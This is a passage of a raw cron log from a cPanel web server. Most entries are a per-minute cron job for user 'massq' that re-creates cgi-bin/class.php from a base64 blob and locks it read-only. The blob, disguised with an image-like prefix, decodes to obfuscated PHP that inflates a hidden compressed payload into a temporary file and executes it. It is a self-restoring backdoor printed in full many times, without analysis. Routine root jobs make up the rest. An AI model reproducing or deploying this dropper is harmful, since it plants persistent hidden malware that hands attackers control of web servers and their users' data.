&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:29:01 server CROND[5494]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:30:01 server CROND[6308]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:30:01 server CROND[6309]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:30:01 server CROND[6311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:30:01 server CROND[6310]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 01:31:01 server CROND[7176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:32:01 server CROND[8127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:33:01 server CROND[9108]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:34:01 server CROND[9933]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:35:01 server CROND[10749]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 01:35:01 server CROND[10751]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 01:35:01 server CROND[10750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:35:01 server CROND[10761]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 01:35:01 server CROND[10763]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:36:01 server CROND[11668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:37:01 server CROND[12477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:38:01 server CROND[13057]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:39:01 server CROND[13294]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 01:39:01 server CROND[13295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:40:01 server CROND[14114]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 01:40:01 server CROND[14115]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 01:40:01 server CROND[14116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 01:40:01 server CROND[14117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
